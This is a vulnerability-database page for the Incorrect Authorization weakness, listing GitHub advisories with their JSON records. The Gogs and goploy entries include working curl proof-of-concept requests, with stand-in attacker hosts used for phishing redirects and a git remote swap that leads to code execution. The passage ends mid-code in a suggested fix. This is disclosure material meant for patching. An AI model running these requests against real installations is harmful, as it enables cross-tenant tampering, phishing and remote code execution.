CWE-863
Allowed-with-ReviewIncorrect Authorization
Abstraction: Class · Status: Incomplete
The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.
5562 vulnerabilities reference this CWE, most recent first.
GHSA-266X-3X8X-XJ7X
Vulnerability from github – Published: 2022-05-24 19:05 – Updated: 2022-07-15 00:00An improper authorization vulnerability in Palo Alto Networks Cortex XSOAR enables a remote unauthenticated attacker with network access to the Cortex XSOAR server to perform unauthorized actions through the REST API. This issue impacts: Cortex XSOAR 6.1.0 builds later than 1016923 and earlier than 1271064; Cortex XSOAR 6.2.0 builds earlier than 1271065. This issue does not impact Cortex XSOAR 5.5.0, Cortex XSOAR 6.0.0, Cortex XSOAR 6.0.1, or Cortex XSOAR 6.0.2 versions. All Cortex XSOAR instances hosted by Palo Alto Networks are upgraded to resolve this vulnerability. No additional action is required for these instances.
{
"affected": [],
"aliases": [
"CVE-2021-3044"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-06-22T18:15:00Z",
"severity": "CRITICAL"
},
"details": "An improper authorization vulnerability in Palo Alto Networks Cortex XSOAR enables a remote unauthenticated attacker with network access to the Cortex XSOAR server to perform unauthorized actions through the REST API. This issue impacts: Cortex XSOAR 6.1.0 builds later than 1016923 and earlier than 1271064; Cortex XSOAR 6.2.0 builds earlier than 1271065. This issue does not impact Cortex XSOAR 5.5.0, Cortex XSOAR 6.0.0, Cortex XSOAR 6.0.1, or Cortex XSOAR 6.0.2 versions. All Cortex XSOAR instances hosted by Palo Alto Networks are upgraded to resolve this vulnerability. No additional action is required for these instances.",
"id": "GHSA-266x-3x8x-xj7x",
"modified": "2022-07-15T00:00:18Z",
"published": "2022-05-24T19:05:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3044"
},
{
"type": "WEB",
"url": "https://security.paloaltonetworks.com/CVE-2021-3044"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-268J-37XF-PP52
Vulnerability from github – Published: 2026-06-23 17:03 – Updated: 2026-06-23 17:03Summary
Three API endpoints — PATCH /api/v1/repos/:owner/:repo/issue-tracker, PATCH /api/v1/repos/:owner/:repo/wiki, and POST /api/v1/repos/:owner/:repo/mirror-sync — are gated by reqRepoWriter() rather than reqRepoAdmin(). The equivalent operations in the web UI sit behind reqRepoAdmin, which requires AccessMode >= AccessModeAdmin. A write-level collaborator (who has AccessMode == AccessModeWrite < AccessModeAdmin) can therefore call these API endpoints directly to disable the native issue tracker or wiki, inject attacker-controlled external tracker/wiki URLs that redirect all repository visitors, or trigger mirror sync — none of which they are authorized to do.
Severity
High (CVSS 3.1: 7.1)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L
- Attack Vector: Network — the API endpoints are reachable over HTTP/S.
- Attack Complexity: Low — a single API call is sufficient; no chaining or race condition required.
- Privileges Required: Low — only write-level collaborator access to the targeted repository is needed. The attacker does not need repo-admin or site-admin privileges.
- User Interaction: None — the attacker acts unilaterally.
- Scope: Unchanged — the impact is contained to the targeted repository's settings and its visitors.
- Confidentiality Impact: None — the attacker does not read confidential data directly.
- Integrity Impact: High — the attacker permanently mutates repository configuration, including injecting an external URL that redirects all visitors who click the Issues or Wiki tabs to an attacker-controlled site.
- Availability Impact: Low — disabling the native issue tracker or wiki reduces the availability of those features for all repository participants.
Affected component
internal/route/api/v1/api.go— route registration (lines 365–367)internal/route/api/v1/repo_repo.go—issueTracker()(line 400),wiki()(line 437),mirrorSync()(line 463)
CWE
- CWE-863: Incorrect Authorization
- CWE-269: Improper Privilege Management
Description
Three admin-equivalent API endpoints are protected by write-level middleware
api.go:365-367 registers the three settings endpoints with reqRepoWriter():
// internal/route/api/v1/api.go:365-367
m.Patch("/issue-tracker", reqRepoWriter(), bind(editIssueTrackerRequest{}), issueTracker)
m.Patch("/wiki", reqRepoWriter(), bind(editWikiRequest{}), wiki)
m.Post("/mirror-sync", reqRepoWriter(), mirrorSync)
reqRepoWriter() (defined at api.go:131-138) passes any user whose repository AccessMode >= AccessModeWrite:
func reqRepoWriter() macaron.Handler {
return func(c *context.Context) {
if !c.Repo.IsWriter() {
c.Status(http.StatusForbidden)
return
}
}
}
The handlers themselves perform no additional privilege check before mutating state:
// internal/route/api/v1/repo_repo.go:400-428
func issueTracker(c *context.APIContext, form editIssueTrackerRequest) {
_, repo := parseOwnerAndRepo(c)
...
if form.EnableExternalTracker != nil {
repo.EnableExternalTracker = *form.EnableExternalTracker
}
if form.ExternalTrackerURL != nil {
repo.ExternalTrackerURL = *form.ExternalTrackerURL // ← attacker-controlled URL written directly
}
...
database.UpdateRepository(repo, false) // ← no admin check before this call
}
The wiki() handler (lines 437–461) follows the same pattern, writing repo.ExternalWikiURL directly and calling UpdateRepository with no admin gate.
The web UI imposes a stricter admin requirement for the same operations
cmd/gogs/web.go:472 wraps the entire /settings subtree with reqRepoAdmin:
// cmd/gogs/web.go:425-472
m.Group("/:username/:reponame", func() {
m.Group("/settings", func() {
m.Combo("").Get(repo.Settings).
Post(bindIgnErr(form.RepoSetting{}), repo.SettingsPost)
...
}, ...)
}, reqSignIn, context.RepoAssignment(), reqRepoAdmin, context.RepoRef())
context.RequireRepoAdmin() (defined at context/repo.go:434-441) requires AccessMode >= AccessModeAdmin:
func RequireRepoAdmin() macaron.Handler {
return func(c *Context) {
if !c.IsLogged || (!c.Repo.IsAdmin() && !c.User.IsAdmin) {
c.NotFound()
return
}
}
}
In the access mode hierarchy, AccessModeWrite < AccessModeAdmin. A write-level collaborator satisfies reqRepoWriter() but does not satisfy RequireRepoAdmin(). The API path provides the write-level collaborator with capabilities that the UI correctly withholds.
Full execution chain
- Attacker precondition: Attacker is added as a repository collaborator with write access (
AccessMode == AccessModeWrite). - API call:
PATCH /api/v1/repos/OWNER/REPO/issue-trackerwithAuthorization: token WRITER_TOKENand body{"enable_external_tracker":true,"external_tracker_url":"https://attacker.example/phish"}. - Middleware:
reqRepoWriter()checksc.Repo.IsWriter()→AccessMode >= AccessModeWrite→ passes. - Handler:
issueTracker()setsrepo.EnableExternalTracker = trueandrepo.ExternalTrackerURL = "https://attacker.example/phish", then callsdatabase.UpdateRepository(repo, false). No admin check occurs. - Impact: All visitors to the repository who click the "Issues" tab are redirected to the attacker's server. The native issue tracker is bypassed permanently until a repo admin reverses the change.
Proof of Concept
# Precondition: attacker is a collaborator with WRITE access, not repo admin.
# 1) Redirect the Issues tab to an attacker-controlled phishing page
curl -i -X PATCH "https://TARGET/api/v1/repos/OWNER/REPO/issue-tracker" \
-H "Authorization: token WRITER_TOKEN" \
-H "Content-Type: application/json" \
--data '{"enable_issues":false,"enable_external_tracker":true,"external_tracker_url":"https://attacker.example/phish"}'
# Expected: HTTP 204 No Content
# 2) Redirect the Wiki tab to an attacker-controlled page
curl -i -X PATCH "https://TARGET/api/v1/repos/OWNER/REPO/wiki" \
-H "Authorization: token WRITER_TOKEN" \
-H "Content-Type: application/json" \
--data '{"enable_wiki":false,"enable_external_wiki":true,"external_wiki_url":"https://attacker.example/phish-wiki"}'
# Expected: HTTP 204 No Content
# 3) Force a mirror sync on a mirrored repository (potential resource abuse)
curl -i -X POST "https://TARGET/api/v1/repos/OWNER/REPO/mirror-sync" \
-H "Authorization: token WRITER_TOKEN"
# Expected: HTTP 202 Accepted
Impact
- A write-level collaborator can permanently replace the native issue tracker with an external URL under attacker control, redirecting all repository visitors who follow the Issues link to a phishing or malware-serving page.
- The same redirect attack applies to the Wiki tab via the external wiki URL setting.
- Both redirects remain active until a repo admin or owner manually reverses the setting; the attacker has no way to be removed from having already made the change.
- Mirror sync can be triggered repeatedly, potentially causing unnecessary load on the upstream mirror source or consuming network resources.
- All three operations are silent — no notification is sent to repo admins when these settings change via the API.
Recommended remediation
Option 1: Change middleware to reqRepoAdmin() on all three endpoints (preferred)
Replace reqRepoWriter() with reqRepoAdmin() at the route registration level. This is a one-line change per endpoint and aligns the API authorization with the web UI's established policy.
// internal/route/api/v1/api.go:365-367
m.Patch("/issue-tracker", reqRepoAdmin(), bind(editIssueTrackerRequest{}), issueTracker)
m.Patch("/wiki", reqRepoAdmin(), bind(editWikiRequest{}), wiki)
m.Post("/mirror-sync", reqRepoAdmin(), mirrorSync)
Option 2: Add an explicit admin check inside the handlers
Add c.Repo.IsAdmin() checks at the top of issueTracker(), wiki(), and mirrorSync(). This is less preferred because it duplicates middleware logic in handler code, but it provides defense-in-depth if the route middleware is ever accidentally changed.
func issueTracker(c *context.APIContext, form editIssueTrackerRequest) {
if !c.Repo.IsAdmin() {
c.Status(http.StatusForbidden)
return
}
...
}
Credit
This vulnerability was discovered and reported by bugbunny.ai.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "gogs.io/gogs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.14.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-52808"
],
"database_specific": {
"cwe_ids": [
"CWE-269",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-23T17:03:07Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nThree API endpoints \u2014 `PATCH /api/v1/repos/:owner/:repo/issue-tracker`, `PATCH /api/v1/repos/:owner/:repo/wiki`, and `POST /api/v1/repos/:owner/:repo/mirror-sync` \u2014 are gated by `reqRepoWriter()` rather than `reqRepoAdmin()`. The equivalent operations in the web UI sit behind `reqRepoAdmin`, which requires `AccessMode \u003e= AccessModeAdmin`. A write-level collaborator (who has `AccessMode == AccessModeWrite \u003c AccessModeAdmin`) can therefore call these API endpoints directly to disable the native issue tracker or wiki, inject attacker-controlled external tracker/wiki URLs that redirect all repository visitors, or trigger mirror sync \u2014 none of which they are authorized to do.\n\n## Severity\n\n**High** (CVSS 3.1: 7.1)\n\n`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L`\n\n- **Attack Vector:** Network \u2014 the API endpoints are reachable over HTTP/S.\n- **Attack Complexity:** Low \u2014 a single API call is sufficient; no chaining or race condition required.\n- **Privileges Required:** Low \u2014 only write-level collaborator access to the targeted repository is needed. The attacker does not need repo-admin or site-admin privileges.\n- **User Interaction:** None \u2014 the attacker acts unilaterally.\n- **Scope:** Unchanged \u2014 the impact is contained to the targeted repository\u0027s settings and its visitors.\n- **Confidentiality Impact:** None \u2014 the attacker does not read confidential data directly.\n- **Integrity Impact:** High \u2014 the attacker permanently mutates repository configuration, including injecting an external URL that redirects all visitors who click the Issues or Wiki tabs to an attacker-controlled site.\n- **Availability Impact:** Low \u2014 disabling the native issue tracker or wiki reduces the availability of those features for all repository participants.\n\n\n## Affected component\n\n- `internal/route/api/v1/api.go` \u2014 route registration (lines 365\u2013367)\n- `internal/route/api/v1/repo_repo.go` \u2014 `issueTracker()` (line 400), `wiki()` (line 437), `mirrorSync()` (line 463)\n\n## CWE\n\n- **CWE-863**: Incorrect Authorization\n- **CWE-269**: Improper Privilege Management\n\n## Description\n\n### Three admin-equivalent API endpoints are protected by write-level middleware\n\n`api.go:365-367` registers the three settings endpoints with `reqRepoWriter()`:\n\n```go\n// internal/route/api/v1/api.go:365-367\nm.Patch(\"/issue-tracker\", reqRepoWriter(), bind(editIssueTrackerRequest{}), issueTracker)\nm.Patch(\"/wiki\", reqRepoWriter(), bind(editWikiRequest{}), wiki)\nm.Post(\"/mirror-sync\", reqRepoWriter(), mirrorSync)\n```\n\n`reqRepoWriter()` (defined at `api.go:131-138`) passes any user whose repository `AccessMode \u003e= AccessModeWrite`:\n\n```go\nfunc reqRepoWriter() macaron.Handler {\n return func(c *context.Context) {\n if !c.Repo.IsWriter() {\n c.Status(http.StatusForbidden)\n return\n }\n }\n}\n```\n\nThe handlers themselves perform no additional privilege check before mutating state:\n\n```go\n// internal/route/api/v1/repo_repo.go:400-428\nfunc issueTracker(c *context.APIContext, form editIssueTrackerRequest) {\n _, repo := parseOwnerAndRepo(c)\n ...\n if form.EnableExternalTracker != nil {\n repo.EnableExternalTracker = *form.EnableExternalTracker\n }\n if form.ExternalTrackerURL != nil {\n repo.ExternalTrackerURL = *form.ExternalTrackerURL // \u2190 attacker-controlled URL written directly\n }\n ...\n database.UpdateRepository(repo, false) // \u2190 no admin check before this call\n}\n```\n\nThe `wiki()` handler (lines 437\u2013461) follows the same pattern, writing `repo.ExternalWikiURL` directly and calling `UpdateRepository` with no admin gate.\n\n### The web UI imposes a stricter admin requirement for the same operations\n\n`cmd/gogs/web.go:472` wraps the entire `/settings` subtree with `reqRepoAdmin`:\n\n```go\n// cmd/gogs/web.go:425-472\nm.Group(\"/:username/:reponame\", func() {\n m.Group(\"/settings\", func() {\n m.Combo(\"\").Get(repo.Settings).\n Post(bindIgnErr(form.RepoSetting{}), repo.SettingsPost)\n ...\n }, ...)\n}, reqSignIn, context.RepoAssignment(), reqRepoAdmin, context.RepoRef())\n```\n\n`context.RequireRepoAdmin()` (defined at `context/repo.go:434-441`) requires `AccessMode \u003e= AccessModeAdmin`:\n\n```go\nfunc RequireRepoAdmin() macaron.Handler {\n return func(c *Context) {\n if !c.IsLogged || (!c.Repo.IsAdmin() \u0026\u0026 !c.User.IsAdmin) {\n c.NotFound()\n return\n }\n }\n}\n```\n\nIn the access mode hierarchy, `AccessModeWrite \u003c AccessModeAdmin`. A write-level collaborator satisfies `reqRepoWriter()` but does not satisfy `RequireRepoAdmin()`. The API path provides the write-level collaborator with capabilities that the UI correctly withholds.\n\n### Full execution chain\n\n1. **Attacker precondition**: Attacker is added as a repository collaborator with write access (`AccessMode == AccessModeWrite`).\n2. **API call**: `PATCH /api/v1/repos/OWNER/REPO/issue-tracker` with `Authorization: token WRITER_TOKEN` and body `{\"enable_external_tracker\":true,\"external_tracker_url\":\"https://attacker.example/phish\"}`.\n3. **Middleware**: `reqRepoWriter()` checks `c.Repo.IsWriter()` \u2192 `AccessMode \u003e= AccessModeWrite` \u2192 passes.\n4. **Handler**: `issueTracker()` sets `repo.EnableExternalTracker = true` and `repo.ExternalTrackerURL = \"https://attacker.example/phish\"`, then calls `database.UpdateRepository(repo, false)`. No admin check occurs.\n5. **Impact**: All visitors to the repository who click the \"Issues\" tab are redirected to the attacker\u0027s server. The native issue tracker is bypassed permanently until a repo admin reverses the change.\n\n## Proof of Concept\n\n```bash\n# Precondition: attacker is a collaborator with WRITE access, not repo admin.\n\n# 1) Redirect the Issues tab to an attacker-controlled phishing page\ncurl -i -X PATCH \"https://TARGET/api/v1/repos/OWNER/REPO/issue-tracker\" \\\n -H \"Authorization: token WRITER_TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n --data \u0027{\"enable_issues\":false,\"enable_external_tracker\":true,\"external_tracker_url\":\"https://attacker.example/phish\"}\u0027\n# Expected: HTTP 204 No Content\n\n# 2) Redirect the Wiki tab to an attacker-controlled page\ncurl -i -X PATCH \"https://TARGET/api/v1/repos/OWNER/REPO/wiki\" \\\n -H \"Authorization: token WRITER_TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n --data \u0027{\"enable_wiki\":false,\"enable_external_wiki\":true,\"external_wiki_url\":\"https://attacker.example/phish-wiki\"}\u0027\n# Expected: HTTP 204 No Content\n\n# 3) Force a mirror sync on a mirrored repository (potential resource abuse)\ncurl -i -X POST \"https://TARGET/api/v1/repos/OWNER/REPO/mirror-sync\" \\\n -H \"Authorization: token WRITER_TOKEN\"\n# Expected: HTTP 202 Accepted\n```\n\n## Impact\n\n- A write-level collaborator can permanently replace the native issue tracker with an external URL under attacker control, redirecting all repository visitors who follow the Issues link to a phishing or malware-serving page.\n- The same redirect attack applies to the Wiki tab via the external wiki URL setting.\n- Both redirects remain active until a repo admin or owner manually reverses the setting; the attacker has no way to be removed from having already made the change.\n- Mirror sync can be triggered repeatedly, potentially causing unnecessary load on the upstream mirror source or consuming network resources.\n- All three operations are silent \u2014 no notification is sent to repo admins when these settings change via the API.\n\n## Recommended remediation\n\n### Option 1: Change middleware to `reqRepoAdmin()` on all three endpoints (preferred)\n\nReplace `reqRepoWriter()` with `reqRepoAdmin()` at the route registration level. This is a one-line change per endpoint and aligns the API authorization with the web UI\u0027s established policy.\n\n```go\n// internal/route/api/v1/api.go:365-367\nm.Patch(\"/issue-tracker\", reqRepoAdmin(), bind(editIssueTrackerRequest{}), issueTracker)\nm.Patch(\"/wiki\", reqRepoAdmin(), bind(editWikiRequest{}), wiki)\nm.Post(\"/mirror-sync\", reqRepoAdmin(), mirrorSync)\n```\n\n### Option 2: Add an explicit admin check inside the handlers\n\nAdd `c.Repo.IsAdmin()` checks at the top of `issueTracker()`, `wiki()`, and `mirrorSync()`. This is less preferred because it duplicates middleware logic in handler code, but it provides defense-in-depth if the route middleware is ever accidentally changed.\n\n```go\nfunc issueTracker(c *context.APIContext, form editIssueTrackerRequest) {\n if !c.Repo.IsAdmin() {\n c.Status(http.StatusForbidden)\n return\n }\n ...\n}\n```\n\n## Credit\n\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).",
"id": "GHSA-268j-37xf-pp52",
"modified": "2026-06-23T17:03:07Z",
"published": "2026-06-23T17:03:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/security/advisories/GHSA-268j-37xf-pp52"
},
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/pull/8327"
},
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/commit/6283462119bd8894f1599d70339b5e823f99954a"
},
{
"type": "PACKAGE",
"url": "https://github.com/gogs/gogs"
},
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/releases/tag/v0.14.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "Gogs\u0027s write-level collaborators can mutate admin-only repository settings via API"
}
GHSA-26JJ-QJ2R-HXMV
Vulnerability from github – Published: 2024-08-12 15:30 – Updated: 2024-08-21 06:32Logical vulnerability in the mobile application (com.transsion.carlcare) may lead to user information leakage risks.
{
"affected": [],
"aliases": [
"CVE-2024-7697"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-359",
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-12T13:38:58Z",
"severity": "HIGH"
},
"details": "Logical vulnerability in the mobile application (com.transsion.carlcare) may lead to user information leakage risks.",
"id": "GHSA-26jj-qj2r-hxmv",
"modified": "2024-08-21T06:32:18Z",
"published": "2024-08-12T15:30:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7697"
},
{
"type": "WEB",
"url": "https://security.tecno.com/SRC/blogdetail/294?lang=en_US"
},
{
"type": "WEB",
"url": "https://security.tecno.com/SRC/securityUpdates"
},
{
"type": "WEB",
"url": "https://security.tecno.com/SRC/securityUpdates?type=SA"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-26R5-GF8M-4XFR
Vulnerability from github – Published: 2023-09-04 12:30 – Updated: 2024-04-04 07:25The Advanced File Manager WordPress plugin before 5.1.1 does not adequately authorize its usage on multisite installations, allowing site admin users to list and read arbitrary files and folders on the server.
{
"affected": [],
"aliases": [
"CVE-2023-3814"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-09-04T12:15:09Z",
"severity": "MODERATE"
},
"details": "The Advanced File Manager WordPress plugin before 5.1.1 does not adequately authorize its usage on multisite installations, allowing site admin users to list and read arbitrary files and folders on the server.",
"id": "GHSA-26r5-gf8m-4xfr",
"modified": "2024-04-04T07:25:54Z",
"published": "2023-09-04T12:30:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3814"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/ca954ec6-6ebd-4d72-a323-570474e2e339"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-26RH-24RG-J3VV
Vulnerability from github – Published: 2026-07-07 23:42 – Updated: 2026-07-07 23:42Summary
Project.AddFile, Project.EditFile, Project.RemoveFile, and Project.Edit in cmd/server/api/project/handler.go accept a project or project-file row id from the JSON body and act on it without checking that the project belongs to the caller's namespace. The corresponding model.ProjectFile.GetData and model.Project.GetData queries filter only by row id. A user holding the manager role (or any role that includes the FileSync / EditProject permission) in their own namespace can read, write, or delete files in any project across the install, and can rewrite any project's git remote URL by submitting the foreign id in the body. The git-URL primitive escalates to RCE on the next deploy because Edit runs git remote set-url on the project's working tree.
Affected
zhenorzz/goploy develop HEAD as of 2026-05-27. Verified against the zhenorzz/goploy:1.17.5 Docker image (docker.io/zhenorzz/goploy@sha256:69d08e1d16d7a7167426c89456c4bcef8e077a16554a4067ff258fff26d5cd44).
The four handlers and the model lookups have been in this shape across the file API and project metadata API.
Vulnerable code
cmd/server/api/project/handler.go::AddFile (creates file under any project's directory; body controls projectId):
func (Project) AddFile(gp *server.Goploy) server.Response {
type ReqData struct {
ProjectID int64 `json:"projectId" validate:"required,gt=0"`
Content string `json:"content" validate:"required"`
Filename string `json:"filename" validate:"required"`
}
var reqData ReqData
if err := gp.Decode(&reqData); err != nil { ... }
filePath := path.Join(config.GetProjectFilePath(reqData.ProjectID), reqData.Filename)
// ... os.Create(filePath); file.WriteString(reqData.Content)
id, err := model.ProjectFile{ProjectID: reqData.ProjectID, Filename: reqData.Filename}.AddRow()
}
cmd/server/api/project/handler.go::EditFile (overwrites file content; body controls file id, server derives project from the file row):
func (Project) EditFile(gp *server.Goploy) server.Response {
type ReqData struct {
ID int64 `json:"id" validate:"required,gt=0"`
Content string `json:"content" validate:"required"`
}
var reqData ReqData
if err := gp.Decode(&reqData); err != nil { ... }
projectFileData, err := model.ProjectFile{ID: reqData.ID}.GetData()
// ... os.Create(path.Join(config.GetProjectFilePath(projectFileData.ProjectID), projectFileData.Filename))
file.WriteString(reqData.Content)
}
cmd/server/api/project/handler.go::RemoveFile (deletes file row + on-disk file by body id):
func (Project) RemoveFile(gp *server.Goploy) server.Response {
type ReqData struct {
ProjectFileID int64 `json:"projectFileId" validate:"required,gt=0"`
}
var reqData ReqData
if err := gp.Decode(&reqData); err != nil { ... }
projectFileData, err := model.ProjectFile{ID: reqData.ProjectFileID}.GetData()
if err := os.Remove(path.Join(config.GetProjectFilePath(projectFileData.ProjectID), projectFileData.Filename)); err != nil { ... }
}
cmd/server/api/project/handler.go::Edit (updates any project's metadata; on URL change runs git remote set-url in the project working tree):
func (Project) Edit(gp *server.Goploy) server.Response {
// ... ReqData has ID, Name, URL, Branch, Script, etc.
projectData, err := model.Project{ID: reqData.ID}.GetData()
model.Project{ID: reqData.ID, Name: reqData.Name, URL: reqData.URL, ...}.EditRow()
if reqData.URL != projectData.URL {
srcPath := config.GetProjectPath(projectData.ID)
cmd := exec.Command("git", "remote", "set-url", "origin", reqData.URL)
cmd.Dir = srcPath
}
}
internal/model/project_file.go::ProjectFile.GetData filters only by row id, no namespace join:
func (pf ProjectFile) GetData() (ProjectFile, error) {
err := sq.
Select("id, project_id, filename, insert_time, update_time").
From(projectFileTable).
Where(sq.Eq{"id": pf.ID}).
...
}
internal/server/route.go::Route.hasPermission checks only namespace-level permission ids; nothing in the request flow verifies that the body-supplied project id belongs to gp.Namespace.ID:
func (r Route) hasPermission(permissionIDs map[int64]struct{}) error {
if len(r.permissionIDs) == 0 { return nil }
for _, permissionID := range r.permissionIDs {
if _, ok := permissionIDs[permissionID]; ok { return nil }
}
return errors.New("no permission")
}
Reachable
Any logged-in user assigned the manager role in their own namespace can call /project/addFile, /project/editFile, /project/removeFile, and /project/edit. The seeded manager role (role.id = 1) is granted both FileSync (permission.id = 68) and EditProject (permission.id = 17) by database/goploy.sql. Multi-tenant deployments typically assign manager to each tenant's project owner; once a tenant's manager holds these permissions in their own namespace, they hold them globally for these four endpoints.
Proof of concept
Setup against the published Docker image:
docker network create goploy-net
docker run -d --name goploy-mysql --network goploy-net \
-e MYSQL_ROOT_PASSWORD=goploy123 -e MYSQL_DATABASE=goploy \
mysql:8.0 --default-authentication-plugin=mysql_native_password
# Wait for MySQL, then load schema
docker cp database/goploy.sql goploy-mysql:/tmp/goploy.sql
docker exec goploy-mysql sh -c 'mysql -uroot -pgoploy123 goploy < /tmp/goploy.sql'
# Mount goploy.toml pointing DB at goploy-mysql:3306
docker run -d --name goploy-app --network goploy-net -p 18080:80 \
-v $PWD/repo:/opt/goploy/repository \
zhenorzz/goploy:1.17.5
Set up two namespaces and two non-super-manager users, each assigned manager (role_id=1) only in their own namespace:
# Admin login (default account admin / admin!@# requires first-login change)
curl -s -c /tmp/admin.jar -X POST http://localhost:18080/user/login \
-H 'Content-Type: application/json' \
-d '{"account":"admin","password":"admin!@#","newPassword":"Admin!@#2026"}'
ADMIN_HDR='-b /tmp/admin.jar -H G-N-ID:1 -H Content-Type:application/json'
# Create NS_B
curl -s $ADMIN_HDR -X POST http://localhost:18080/namespace/add -d '{"name":"ns_b"}'
# → {"data":{"id":2}}
# Create alice (id=2) and bob (id=3)
curl -s $ADMIN_HDR -X POST http://localhost:18080/user/add \
-d '{"account":"alice","password":"Alice!@#2026","name":"Alice","contact":"","superManager":0}'
curl -s $ADMIN_HDR -X POST http://localhost:18080/user/add \
-d '{"account":"bob","password":"Bob!@#2026","name":"Bob","contact":"","superManager":0}'
# Assign alice → NS_A (id=1), bob → NS_B (id=2), both as manager (role_id=1)
curl -s $ADMIN_HDR -X POST http://localhost:18080/namespace/addUser \
-d '{"namespaceId":1,"userIds":[2],"roleId":1}'
curl -s $ADMIN_HDR -X POST http://localhost:18080/namespace/addUser \
-d '{"namespaceId":2,"userIds":[3],"roleId":1}'
# As admin in NS_A, create project alice-prod (id=1) with file alice-secrets.yml (id=1)
curl -s $ADMIN_HDR -X POST http://localhost:18080/project/add \
-d '{"name":"alice-prod","repoType":"git","url":"https://github.com/zhenorzz/goploy.git",
"path":"/tmp/deploy/alice","environment":1,"branch":"master","transferType":"rsync",
"transferOption":"-rtv","deployServerMode":"serial",
"script":{"afterPull":{"mode":"","content":""},"afterDeploy":{"mode":"","content":""},
"deployFinish":{"mode":"","content":""}}}'
curl -s $ADMIN_HDR -X POST http://localhost:18080/project/addFile \
-d '{"projectId":1,"filename":"alice-secrets.yml","content":"# Alice secret\napi_key: ALICE_API_KEY_2026\n"}'
# Bob logs in (first-login change)
curl -s -c /tmp/bob.jar -X POST http://localhost:18080/user/login \
-H 'Content-Type: application/json' \
-d '{"account":"bob","password":"Bob!@#2026","newPassword":"BobBob!@#2026"}'
BOB_HDR='-b /tmp/bob.jar -H G-N-ID:2 -H Content-Type:application/json'
Negative control: Bob's own namespace has no projects.
curl -s $BOB_HDR "http://localhost:18080/project/getList?page=1&rows=100"
# → {"code":0,"data":{"list":[]}}
Exploit 1 — Bob overwrites Alice's file content:
curl -s $BOB_HDR -X PUT http://localhost:18080/project/editFile \
-d '{"id":1,"content":"OWNED BY BOB\nattacker_namespace: ns_b\n"}'
# → {"code":0,"message":"","data":null}
docker exec goploy-app cat /opt/goploy/repository/repository/project-file/project_1/alice-secrets.yml
# OWNED BY BOB
# attacker_namespace: ns_b
Exploit 2 — Bob plants a new file in Alice's project directory:
curl -s $BOB_HDR -X POST http://localhost:18080/project/addFile \
-d '{"projectId":1,"filename":".env.attacker","content":"PWN=bob_from_ns_b"}'
# → {"code":0,"message":"","data":{"id":2}}
docker exec goploy-app ls /opt/goploy/repository/repository/project-file/project_1/
# .env.attacker alice-secrets.yml
Exploit 3 — Bob deletes Alice's file:
curl -s $BOB_HDR -X DELETE http://localhost:18080/project/removeFile \
-d '{"projectFileId":1}'
# → {"code":0,"message":"","data":null}
# alice-secrets.yml is gone from project_1/.
Exploit 4 — Bob rewrites Alice's project git remote URL. On the next deploy, goploy runs git -C <alice-prod-tree> remote set-url origin <attacker-url> and clones / pulls attacker code, leading to RCE under goploy's user:
curl -s $BOB_HDR -X PUT http://localhost:18080/project/edit \
-d '{"id":1,"name":"alice-prod","repoType":"git",
"url":"git@evil.example.com:attacker/payload.git",
"path":"/tmp/deploy/alice","environment":1,"branch":"master",
"transferType":"rsync","transferOption":"-rtv","deployServerMode":"serial",
"script":{"afterPull":{"mode":"","content":""},"afterDeploy":{"mode":"","content":""},
"deployFinish":{"mode":"","content":""}}}'
# → {"code":0,"message":"","data":null}
docker exec goploy-mysql mysql -uroot -pgoploy123 goploy \
-e "SELECT name,url FROM project WHERE id=1;"
# alice-prod | git@evil.example.com:attacker/payload.git
Positive control: Bob editing a file in his own namespace (after creating one) goes through the same code path and succeeds normally — the patch must keep that working.
Suggested fix
Add a namespace-scoped variant of GetData so the model layer requires (id, namespace_id) and switch the four handlers over.
internal/model/project_file.go:
func (pf ProjectFile) GetDataInNamespace(namespaceID int64) (ProjectFile, error) {
var projectFile ProjectFile
err := sq.
Select("pf.id, pf.project_id, pf.filename, pf.insert_time, pf.update_time").
From(projectFileTable + " pf").
Join("project p ON p.id = pf.project_id").
Where(sq.Eq{"pf.id": pf.ID, "p.namespace_id": namespaceID}).
RunWith(DB).
QueryRow().
